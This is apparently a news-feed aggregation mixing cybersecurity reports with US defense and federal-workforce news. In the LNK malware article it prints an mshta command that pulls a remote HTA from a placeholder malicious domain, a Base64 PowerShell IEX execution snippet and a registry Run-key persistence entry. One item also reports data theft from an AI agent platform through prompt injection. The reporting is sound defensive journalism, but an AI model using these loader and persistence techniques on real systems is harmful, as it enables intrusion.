• Cybercriminals have orchestrated a sophisticated phishing campaign exploiting GitHub’s notification system to impersonate the prestigious startup accelerator Y Combinator, targeting developers’ cryptocurrency wallets through fake funding opportunity notifications.

    The attack leverages GitHub’s issue tracking system to mass-distribute phishing notifications, bypassing traditional email security filters by using the platform’s legitimate notification infrastructure. 

    Threat actors created multiple GitHub accounts with names closely resembling Y Combinator, including ycombinato, ycommbbinator, and ycoommbinator, along with a malicious GitHub application called ycombinatornotify.

    Y Combinator Phishing Scam

    The attackers demonstrated a sophisticated understanding of GitHub’s API limitations and notification mechanisms. 

    Each malicious repository generated approximately 500 issues before hitting GitHub’s rate-limiting thresholds, with each issue containing phishing content and tagging numerous random GitHub usernames to maximize notification distribution. 

    The notifications appeared authentic since they originated from GitHub’s official notification system, making them difficult for users to identify as fraudulent immediately.

    The phishing messages claimed recipients had been “selected for funding” and required wallet verification or authorization deposits to access supposed Y Combinator investment opportunities. 

    This social engineering technique targets explicitly the developer community’s familiarity with Y Combinator’s legitimate application process, exploiting the prestige and desirability associated with acceptance into the accelerator program.

    The operation employed typosquatting techniques, registering the domain y-comblnator.com (substituting an “L” for the “I” in “combinator”) to create a convincing replica of Y Combinator’s legitimate website. 

    This domain hosted fake application pages designed to harvest cryptocurrency wallet credentials and private keys from unsuspecting victims.

    GitHub’s security team responded by suspending the malicious accounts and repositories, but the attack’s distributed nature across multiple accounts created persistence challenges. 

    Affected users reported staying notification badges that required manual API calls to clear, using commands like curl -X PATCH with authentication tokens to mark phantom notifications as read. 

    The incident highlights the vulnerability of collaborative development platforms to abuse, where legitimate notification systems can be weaponized for large-scale phishing campaigns targeting the cryptocurrency assets of technical professionals who represent high-value targets due to their likely digital asset holdings.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Hackers Leverage GitHub Notifications to Mimic as Y Combinator to Steal Funds from Wallets appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Nine months into the second Trump administration, Defense Secretary Pete Hegseth’s effort to shrink and reshape the Pentagon’s civilian workforce has netted a reduction of more than 60,000 employees, or about 7.6 percent, comfortably reaching the 5- to 8-percent goal he set in March. 

    But while the Pentagon provided those numbers to Defense One, they provided few other details, leaving it hard to judge how the effort to cut payroll and redirect resources is going. Multiple officials declined to talk about various problems caused by the sweeping cuts and policy changes Hegseth ordered just weeks into his job. They also declined to comment on criticism by current and former employees who say the changes were ill-planned and have hurt productivity and morale among the country’s largest national-security workforce. 

    “The consensus among the rank-and-file DOD employees is that the SecDef has essentially declared war on his civilian workforce, creating an atmosphere of mutual distrust and an implication that all DOD civilians are untrustworthy parasites until proven otherwise,” one department civilian, who asked not to be identified to prevent retaliation, told Defense One. 

    To shrink his workforce, Hegseth fired probationary employees, froze hiring, offered buyouts, reopened early retirement, and ordered department organizations to submit ideas for eliminating “redundant or non-essential functions.”

    Pentagon leaders have called these moves responsible and thoughtful.

    “As Secretary Hegseth made clear, it is simply not in the public interest to retain individuals whose contributions are not mission-critical,” John Ullyot, then a Pentagon spokesperson, told Defense One in March. “Taxpayers deserve to have us take a thorough look at our workforce top-to-bottom to see where we can eliminate redundancies. That said, as we take these important steps to reshape the workforce to meet the President's priorities, the Department will treat our workers with dignity and respect as it always does.”

    But department leaders have often fallen short of that pledge. Probationary employees were illegally fired. Current and former employees have said that murky or nonexistent guidance about the new policies have caused confusion. Multiple sources cited the ongoing hiring freeze that kept employees in hotels waiting for exemptions so they could move to their new DOD jobs overseas, and is now trapping other employees who are trying to complete transfers back to the United States. 

    All this, combined with an exodus of civilian employees from an organization long accustomed to “doing more with less,” has made the massive workload even harder to tackle.

    Some commands are “close to a breaking point of simply not being able to accomplish key requirements—and I know that is true across the globe as well,” the DOD civilian said.

    Buyouts and early-outs

    The biggest chunk of the 60,000-plus workers shed came from buyouts and early retirements

    DOD approved 55,000 applications for the Deferred Resignation Program and another 6,100 for the Voluntary Early Retirement Authority program, a Pentagon official told Defense One, asking for anonymity without giving a reason.

    Hegseth did not limit how many people could take the offers, and allowed the services only rare rejections of applicants deemed vital to national security. 

    This had larger effects on some organizations than on others. In May, the Space Force reported that it had already lost 14 percent of its civilians to buyouts.

    “Because our numbers are so much smaller, I feel like the efforts to reduce the overall federal workforce had a little bit of an outsized impact on the Space Force,” Chief of Space Operations Gen. Chance Saltzman said Tuesday at the Air, Space and Cyber Conference outside Washington, D.C. “In an attempt to get the entire workforce down 5 percent, certainly the civilians at [Space Systems Command] were above 10 percent, for sure, in some of those losses.” 

    “The corporate knowledge—the expertise that our civilian workforce brings—is vital to acquisitions, and so the Deferred Resignation Program certainly took some of those out of play,” Saltzman said.

    Firing ‘probies’

    Another way Pentagon leaders sought to trim headcount was by firing probationary employees—generally, workers new to the department, recently promoted, or recently transferred from other DOD jobs—whose civil-service protections had yet to kick in. 

    Prompted by the White House, Pentagon officials announced in February that they would fire 5,400 probationary employees. They removed 364 before a judge ordered them to stop and to rehire the ones who had left. The Supreme Court eventually knocked down the injunction, allowing such firings to resume, but the Pentagon is still required to send letters to the fired employees stating they were not dismissed for cause. 

    The department’s personnel office declined to provide a current status of the firing, or rehiring, of probationary employees while litigation is pending, according to the Pentagon official.

    Hiring freeze, still on 

    On Feb. 28, Hegseth ordered a hiring freeze across his department, just eight days after announcing one was on the way.

    The short-notice order forced managers to rescind job offers to thousands of people. The Army alone told 2,000 people that their new jobs had disappeared, spokesman Lt. Col. Orlandon Howard told Defense One.

    The freeze also prevented thousands of current employees from moving to new jobs within the department. 

    Some employees found themselves trapped overseas, unable to return to the United States to take up their new jobs. Many were housed in hotels at government expense for more than a month, having given up their residences and dispatched their possessions to their new places of employment. 

    In the Army, 150 employees were eventually allowed to move on after exemptions were secured, Howard said. The Space Force’s Saltzman said he had been able to secure enough exemptions to keep his service’s growth plans on track.

    But the freeze is still gumming up civilians who are finishing up overseas assignments and are unable to move into new roles in the United States.

    “Currently, those that reach the end of their tour cannot leave because there are no jobs to apply to, and cannot leave on [the Priority Placement Program] because empty positions can’t be filled unless it is mission-critical, health- or safety-related,” the civilian said. “Basically, trapped overseas indefinitely.”

    The exemption process is bottlenecked by Hegseth, who initially insisted on personally reviewing every request. He widened the path slightly in a March 18 memo that delegated the task to the defense undersecretary for personnel and readiness and the secretaries of the Army, Navy, and Air Force, but added, “This authority may not be further delegated.”

    Asked about the hiring freeze and its effects, Pentagon spokesman Joel Valdez declined to answer. 

    The first Pentagon official declined to provide numbers, including total number of job offers rescinded at the beginning of the freeze and total number of employees who have requested exemptions to be able to complete permanent change-of-station moves to new roles. 

    The official referred such questions to the military departments, and declined to provide figures for defense agencies that aren’t part of a service branch, such as the Defense Intelligence Agency and Defense Health Agency. 

    The Air Force did not respond to Defense One’s request for information as of publication. A spokeswoman for the Navy declined to comment entirely.

    The military departments were required to send such figures to Hegseth’s personnel undersecretary, but the spokesperson said the figures were not tracked. 

    The Pentagon has no estimate of how much money it spent on hotel costs and other incidentals for employees who had moved out of their homes and were forced to cancel and rebook flights, because each of those cases were approved at a command level, the spokesperson said.

    How many employees? 

    In late March, Hegseth ordered Pentagon leaders to come up with ways to shrink and reorganize their commands, agencies, and departments—and to submit their proposals within two weeks. A March 29 press release touted the order, and an April 7 memo from the deputy defense secretary ordered more detailed submissions by late May. 

    In June, a Pentagon official said the suggestions came in on time, but declined to say what they were or what came of them.

    “Certain near-term changes in workforce structure, composition, and workforce will be reflected in the department’s forthcoming President’s Budget request for FY26,” said the defense official, who was not authorized to speak on the record.

    The budget proposal, released later that month, asks for a 5.4-percent drop in civilian headcount, from 789,775 in fiscal 2025 to 747,380 next year. 

    Pentagon officials declined to explain how that 42,395-person reduction was decided upon and which job titles were merged or eliminated to get there.

    Meanwhile, the Air Force is cutting 5,000 civilian jobs in the current fiscal year, which ends on Sept. 30, according to a leaked internal email sent to personnel at the Air Force Academy. The message, sent by the school’s superintendent in July, said the academy would be shedding 140 civilians.  

    Rather than wait for a layoff, Brian Johns quit his job as a USAFA assistant professor of mechanical engineering and took a new position at Colorado State University.

    He’d already had one scare on Feb. 27, Johns told Defense One, when the colonel in charge of his department sat him down and told him he’d likely be laid off the following day as part of the purge of probationary employees—despite the fact that he’d been in his position for longer than a year and was no longer in a probationary status.

    “So a couple weeks later they mentioned via email that my name was on the firing list mistakenly,” Johns said. “Was it a mistake or was it intentional? Nonetheless, it didn’t alleviate any of the stress.”

    Johns had taken the AFA position in 2023 after leaving a tenured professorship at Cornell College in Iowa. The lawsuits to undo the probationary employee layoffs protected his job for the moment, but the writing was already on the wall. 

    “If I knew that my job would be in jeopardy in a couple of years, I probably wouldn’t have done it,” he said. “I wouldn’t wish that kind of uncertainty and anxiety on anybody during that six-month period.”

    What comes next

    It’s difficult to quantify the results of DOD’s civilian purge. Despite Hegseth’s frequent pledges of transparency, department officials declined to provide key figures—starting with the current number of civilian employees. Instead, the Pentagon official provided the count as of Jan. 1, before any of the downsizing efforts, which at the time came in at 799,000.  

    By the Pentagon’s numbers, the workforce as of the beginning of this year, minus those who voluntarily moved on, comes to 737,900. That is 9,480 short of the ceiling in the FY ‘26 budget request. Valdez declined to say whether the department would work toward filling those openings by hiring freeze-exempt workers, like shipyard technicians or childcare teachers.

    The Pentagon also declined to answer whether or when the hiring freeze might lift. As it continues, there are not only jobs staying open, but existing civilians are largely not able to transfer into them.

    “Although the SecDef uses language implying the importance of the civilian workforce, it sounds nice and briefs well,” the civilian said. “These words are hollow and have no meaning.”

    Tom Novelly contributed to this report.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A recent wave of attacks leveraging malicious Windows shortcut files (.LNK) has put security teams on high alert.

    Emerging in late August 2025, this new LNK malware distribution exploits trusted Microsoft binaries to bypass endpoint protections and execute payloads without raising suspicions.

    Delivered primarily via spear-phishing emails and compromised websites, the shortcut files appear innocuous, embedding commands that invoke legitimate Windows utilities to fetch and launch additional malware components.

    Early victims have reported subtle indicators of compromise, such as anomalous PowerShell calls and unexpected network connections, often dismissed as benign system activity.

    Researchers observed that the campaign targets both enterprise and consumer endpoints, focusing on users with elevated privileges.

    The initial lure emails mimic internal IT notifications or security alerts, encouraging recipients to click on a seemingly harmless shortcut attachment.

    Upon execution, the LNK file triggers Windows Explorer to load a hidden payload, effectively weaponizing built-in binaries like mshta.exe and rundll32.exe to stage the attack.

    This technique enables the threat actor to evade antivirus signatures and behavioral detection rules that typically flag direct execution of unknown executables.

    K7 Security Labs analysts noted that the attackers carefully crafted the LNK payload to leverage encoded parameters passed to these native utilities, preventing straightforward analysis by sandbox environments.

    By chaining multiple benign processes, the malware achieves “living off the land” execution, reducing its forensic footprint on disk and in memory.

    Victims’ endpoint logs show rapid process spawning events, where each process hands off execution to the next stage in under a second, complicating detection efforts.

    Infection Mechanism and Payload Deployment

    Diving deeper into the infection mechanism, the malicious .LNK file embeds an OLE object that points to a remote HTML application (HTA) script hosted on a compromised server.

    When a user double-clicks the shortcut, Explorer invokes mshta.exe with the following command line:-

    mshta.exe "http[:]//malicious-domain.com/loader.hta" 
    Infection chain flow (Source – K7 Security Labs)

    Here the obfuscated loader script uses Base64-encoded PowerShell commands to download the next-stage payload:-

    $payload = 'aGVsbG8gd29ybGQ='
    IEX ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)))

    This snippet decodes and executes a simple script from memory, demonstrating how the attacker minimizes disk writes.

    Once the HTA executes, it leverages rundll32.exe to load a malicious DLL directly into a suspended svchost.exe process, bypassing executable file scanning.

    The DLL is responsible for establishing persistence by creating a Win32 registry run key:-

    HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name "Updater" -Value "rundll32.exe C:\Windows\Temp\updater.dll,EntryPoint"

    By abusing registry-based persistence and trusted Windows binaries, the malware ensures that it launches automatically upon user login, even if endpoint detections attempt to quarantine the DLL file.

    Indicators of compromise include network requests to suspicious domains, anomalous mshta.exe and rundll32.exe process trees, and unrecognized registry entries under the CurrentVersion\Run key.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post New LNK Malware Uses Windows Binaries to Bypass Security Tools and Execute Malware appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Breaking: Defense Secretary Pete Hegseth just “ordered hundreds of the U.S. military’s generals and admirals to gather on short notice” next Tuesday at the Marine Corps base in Quantico, Virginia, the Washington Post reported Thursday. 

    No reason was given for the rare and urgent meeting, which is scheduled “as a government shutdown looms,” the Post reminds readers ahead of the Sept. 30 deadline, which is Tuesday. 

    The order “applies to all senior officers with the rank of brigadier general or above, or their Navy equivalent, serving in command positions and their top enlisted advisers,” five Post journalists report. Officers with those ranks in staff positions are exempted. 

    The meeting appears to be unprecedented. “All of it is weird,” one U.S. official said, and asked, “Are we taking every general and flag officer out of the Pacific right now?” Read the rest (gift link), here

    Air Force special operators are preparing for missions in the Caribbean, the leader of Air Force Special Operations Command said Wednesday. While Lt. Gen. Michael Conley declined to specifically disclose if they are supporting operations related to Venezuela—off whose coast the U.S. military has sunk alleged drugrunning boats in recent weeks—he told reporters that his airmen have strike, surveillance, and mobility assets that “any combatant commander would love.” 

    “We are doing things that you'd expect out of special operations, just in the sense that we need to be ready to go,” Conley said during a media roundtable at the Air & Space Force Association’s Air, Space, and Cyber Conference. Defense One’s Tom Novelly reports, here.

    Update: The Navy’s guided-missile destroyer USS Stockdale is now in the Caribbean Sea to support President Trump’s war on drug cartels, Military Times reported Wednesday. U.S. Naval Institute News first reported the apparent development Monday, after Stockdale made a port stop in Panama this weekend. 

    The ship joins seven other Navy vessels in the region: the USS Jason Dunham, USS Gravely, USS Iwo Jima, USS Fort Lauderdale, USS San Antonio, USS Lake Erie and USS Minneapolis-Saint Paul. One nuclear-powered attack submarine is also reportedly in the vicinity, according to the New York Times

    Four Russian military aircraft flew inside the Alaskan Air Defense Identification Zone before they were intercepted by a U.S. entourage Wednesday, officials at North American Aerospace Defense Command announced shortly afterward. 

    Involved: Two Tu-95s and two Su-35s, which were met by an E-3, four F-16s, and four KC-135 tankers during the intercept.

    To be clear, “The Russian military aircraft remained in international airspace and did not enter American or Canadian sovereign airspace,” NORAD said, and noted, “This Russian activity in the Alaskan ADIZ occurs regularly and is not seen as a threat.”

    Update on Kirk-related suspensions across the military: More than a dozen U.S. soldiers have now been suspended as investigations into troops’ social media posts about the death of far-right activist Charlie Kirk proceed, Carla Babb reported Wednesday for Military Times.

    “These numbers are subject to change as commands review social media activity and take appropriate action,” an Army spokeswoman said. The Marines and Coast Guard have also relieved or identified a service member for allegedly inappropriate social media posting. 

    Related reading:Black church leaders reject Charlie Kirk martyrdom and point to his race rhetoric,” the Associated Press reported Wednesday. 

    For your ears only: We unpacked highlights from this week’s Air, Space & Cyber Conference hosted annually by the Air and Space Forces Association. Defense One’s Lauren C. Williams and Tom Novelly shared their findings as well as insight into their reporting this week from conference grounds at the National Harbor in Maryland. Catch that on Spotify or wherever you listen to podcasts.  

    Additional reading: 


    Welcome to this Thursday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson with Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1906, Spanish engineer and early robotics pioneer Leonardo Torres Quevedo demonstrated how to maneuver a boat more than a mile off the shore using remote control. He later sought to apply his findings to the new field of torpedoes, but was denied by the Spanish government. 

    Around Europe

    Inside NATO’s response to Russia’s violation of Estonian air space. “Just minutes after NATO radars detected three Russian MiG-31 aircraft with transponders turned off heading toward the Estonian border on Friday, alarms sounded at this wooded air base about 40 minutes outside Tallinn. Italian airmen scrambled to their F-35s to intercept the Russian jets, taking over for Finnish aircraft that were already aloft. Twelve minutes later, the Italians escorted the MiGs out of Estonian airspace toward Kaliningrad,” reports Defense One’s Patrick Tucker from Ämari Aiur Base in Estonia.

    Col. Gaetano Farina, commander of Italy’s Air 32nd Wing, told reporters Wednesday that the incident was more significant than his unit’s similar interception in August, but he described the scene as orderly. “There is training that we do almost every day,” he said, calling the response “very professional.” The Russian pilots, too, seemed unperturbed and even waved at the Italians from their cockpits, he said. 

    But the violation raised alarm well beyond the Baltics, and Tucker wraps up the ongoing fallout, here

    New: Drones closed Danish airports and disrupted operations at military bases earlier today, officials said. Danish authorities decided not to shoot at the drones for safety reasons, so their origins remain unproven. 

    But Russia is the main suspect. "It certainly does not look like a coincidence. It looks systematic. This is what I would define as a hybrid attack," Defence Minister Troels Lund Poulsen told reporters. 

    Reuters: “Denmark has not yet decided whether to invoke NATO's Article 4, which allows members to request consultations over any security concerns, Poulsen said. Poland invoked the article after downing the drones, as did Estonia after Russian military jets violated its airspace for 12 minutes on September 19.” More, here

    China is helping a sanctioned Russian dronemaker, Reuters reports, citing two European security officials and documents. “Chinese drone experts have flown to Russia to conduct technical development work on military drones at a state-owned weapons manufacturer that is under Western sanctions,” the wire service reports, here.

    Related:Every Nation Wants to Copy Iran’s Deadly Shahed Drone,” the Wall Street Journal reports. 

    New: Russia is using AI-enabled drones in Ukraine. Former Ukrainian Command-in-Chief General Valerii Zaluzhnyi said in an interview this week that Russian drones with artificial intelligence is presenting a new threat for Ukraine, whose “forces cannot suppress such drones because these drones do not rely on radio frequencies,” analysts at the Washington-based Institute for the Study of War write in their latest battlefield assessment. 

    Status check: “Putin remains uninterested in good faith negotiations that require compromises and is instead making the same demands of Ukraine and the West as he did in late 2021 and February 2022,” ISW analysts warned in a big-picture consideration. 

    Related reading:Europe is at war with Russia, whether it likes it or not,” Ivo Daalder, former U.S. ambassador to NATO, writes in an op-ed for Politico Thursday. 

    And lastly: Turkish President Tayyip Erdogan is visiting the White House today in part to discuss potential F-35 sales, Reuters reports. It’s Erdogan’s first visit in nearly six years, after the U.S. sanctioned Turkey after it bought Russian S-400 missile defense systems. That purchase shut off Ankara from its desired acquisition of the F-35, which is an aircraft that had used some parts made in Turkey. 

    Erdogan is also looking to buy 40 F-16 jets from the U.S., in addition to 40 Eurofighter Typhoons, which is a joint production from Airbus, BAE Systems and Leonardo.

    Additional reading: Russia Delivers MiG-29 Jets to Iran Air Force,” Newsweek reported Wednesday.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Security researchers have uncovered a new Ransomware-as-a-Service (RaaS) strain named BQTLOCK that is actively targeting Windows users through Telegram channels and dark web forums. Since mid-July, affiliates of the service have been distributing a ZIP archive containing a malicious executable that encrypts a wide range of file types, appends a custom “.bqtlock” extension, and deletes […]

    The post BQTLOCK Ransomware Attacking Windows Users Via Telegram to Encrypt Files and Delete Backup appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cybersecurity researchers have disclosed a critical flaw impacting Salesforce Agentforce, a platform for building artificial intelligence (AI) agents, that could allow attackers to potentially exfiltrate sensitive data from its customer relationship management (CRM) tool by means of an indirect prompt injection. The vulnerability has been codenamed ForcedLeak (CVSS score: 9.4) by Noma Security,

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Chinese state-sponsored cyber threat group Salt Typhoon has intensified long-term espionage operations against global telecommunications infrastructure, according to recent legal and intelligence reporting. Aligned with the Ministry of State Security (MSS) and active since at least 2019, Salt Typhoon has systematically exploited network edge devices to establish deep persistence and exfiltrate highly sensitive communications metadata, […]

    The post Chinese State-Sponsored Hackers Targeting Telecommunications Infrastructure to Steal Sensitive Data appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Federal agencies should implement mass layoffs of their workforces if the government shuts down next week, the White House told agencies on Wednesday, dramatically escalating the stakes of a potential funding lapse. 

    Agencies should prepare the reduction-in-force notices for all employees whose work is not funded through means other than annual appropriations and does not align with President Trump’s priorities, the Office of Management and Budget said in its memorandum. Agencies will also prepare the standard furlough notices that go out to employees not otherwise exempted to work during a shutdown, OMB said, and those actions will have no bearing on who is subject to layoffs. 

    While there is no direct connection between RIFs and a shutdown—and agencies generally have the authority to proceed with layoffs regardless of the status of appropriations—OMB directed agencies to drop their plans should a shutdown be avoided. The House has, in a largely party-line vote, passed a stopgap funding bill to keep agencies open through Nov. 21, but Democrats have so far blocked that measure from proceeding in the Senate. Democratic leaders have said they will block the spending bill unless Congress addresses health-care premiums set to increase at the end of the year and meets other demands. 

    In the memo, which was first reported by Politico, OMB told agencies not to repurpose or transfer funds to minimize the shutdown impact. That marks an about-face from the approach the first Trump administration took during an extended shutdown that began in 2018. 

    Agencies typically post details of who will get furloughed and who will work without immediate pay during a shutdown, but OMB removed those plans from its website earlier this year. In its new memo, the budget office noted that agencies were supposed to submit their furlough plans by Aug. 1, adding that some had not done so and asking them to send the documents as soon as possible. 

    A Government Executive analysis of the most recently available data shows that if a shutdown had occurred in 2023, the Biden administration had planned to furlough about 737,000 employees, or about one-third of the workforce.

    Earlier this week, OMB held its first shutdown-planning call with agencies. The office noted many programs that received a funding boost in the One Big Beautiful Bill Act would be exempt from the effects of a funding lapse. 

    While OMB said the RIF plans would “not be necessary” if a shutdown is averted, it suggested agencies should continue to plan for RIFs even after fiscal 2026 appropriations are enacted. Agencies should revise their RIF plans to “retain the minimal number of employees necessary to carry out statutory functions” and send their proposals to OMB. That language mirrors that the Trump administration used earlier this year, when it called for all agencies to deliver layoff plans focused on the “maximum elimination” of functions not required by law.

    A federal court previously found that guidance unlawful, with a judge saying OMB and the Office of Personnel Management have no authority to order layoffs at other agencies, but the Supreme Court has since overturned that ruling. 

    Some agencies have since walked back their plans for mass layoffs, while others, such as the Interior Department, are expected to finalize significant RIFs in the coming weeks.  

    Senate Minority Leader Chuck Schumer, D-N.Y., said he would not be deterred by the Trump administration’s threats. He predicted the layoffs would be overturned in court or subsequently walked back, as the administration has done in limited circumstances throughout government. 

    “This is an attempt at intimidation,” Schumer said. “Donald Trump has been firing federal workers since day one—not to govern, but to scare. This is nothing new and has nothing to do with funding the government.”

    Sen. Chris Van Hollen, D-Md., likened the layoffs to “mafia-style blackmail,” said they would likely be illegal and vowed that Democrats will be “fighting back with every tool we have.” 

    “These dedicated workers have nothing to do with the ongoing political and policy disputes that have brought us to the brink of a shutdown,” Van Hollen said.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Department of Government Efficiency personnel have jeopardized the security of Americans’ personal information by uploading sensitive data into cloud environments without the necessary safeguards or oversight, a top Senate Democrat alleges in a report released on Thursday. 

    The investigation, spearheaded by Sen. Gary Peters, D-Mich. — the ranking member of the Senate Homeland Security and Governmental Affairs Committee — and Democrat staffers on the panel, warned that DOGE “operates outside of, and even counter to, federal law and their purported efficiency and transparency goals.”

    President Donald Trump set up the unit on his first day in office and directed it to focus on slashing federal employees and spending, as well as modernizing federal technology. DOGE has come under criticism since then, however, for hoovering up sensitive government data and having its employees handle the collected information without restrictions. 

    “This environment results in serious cybersecurity vulnerabilities, privacy violations, and risk of corruption that could open Americans’ most sensitive information to targeting by malicious actors or allow it to be used in ways that violate fundamental privacy rights — or serve to benefit DOGE employees and the private companies with which many maintain strong ties,” the report said.

    Among the whistleblower complaints detailed in the report were allegations from a former Social Security Administration official that DOGE employees uploaded a live copy of confidential agency data into a vulnerable cloud server.

    Chuck Borges, SSA’s former chief data officer, said that DOGE employees at the agency “had access to personal data on all Americans, including Social Security numbers (SSNs), in a cloud environment without any verified security controls and without standard agency visibility into their use of that data” — a level of access that even exceeded Borges’ role. One of these SSA-based DOGE employees, Edward Coristine, had previously been fired from a private sector position for reportedly sharing sensitive data with a competitor. 

    “Because agency officials allegedly do not have oversight of these DOGE employees’ actions, they cannot know whether these individuals have moved any data out of SSA, granted access to the data to unauthorized users, including to private companies, or whether the data has been accessed illicitly,” the report added. 

    Thursday’s report comes after Senate Finance Committee Chairman Mike Crapo, R-Idaho, asked SSA earlier this month to provide information to the panel in response to Borges’ claims. An agency spokesperson told Nextgov/FCW at the time that “the data referenced in the complaint is stored in a long-standing environment used by SSA and walled off from the internet” and added that high-level agency officials have administrative access to the system.

    Democrat staffers on the Senate Homeland Security and Governmental Affairs Committee also identified “a clear pattern” across agencies, where officials who questioned DOGE’s work were sidelined or let go and DOGE-affiliated personnel were embedded into key positions, such as being named chief information officers. These employees were then able to approve DOGE staffers to work with sensitive data, often without following standard oversight procedures.

    DOGE personnel also reportedly directed agencies to assist them in creating databases containing highly sensitive information on most Americans. Thursday’s report said a cyber breach of these cloud environments would be catastrophic. 

    “An internal SSA risk assessment determined that the likelihood of a data breach with ‘catastrophic adverse effect’ is between 35 and 65 percent,” the report said. “The potential breach of this sensitive data, and its potential misuse, significantly increase the urgency for DOGE to stop any high-risk projects and disclose its work to Congress and the public.”

    In a statement, Peters said “DOGE isn’t making government more efficient — it’s putting Americans’ sensitive information in the hands of completely unqualified and untrustworthy individuals.”

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The North Korea-linked threat actors associated with the Contagious Interview campaign have been attributed to a previously undocumented backdoor called AkdoorTea, along with tools like TsunamiKit and Tropidoor. Slovak cybersecurity firm ESET, which is tracking the activity under the name DeceptiveDevelopment, said the campaign targets software developers across all operating systems, Windows,

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶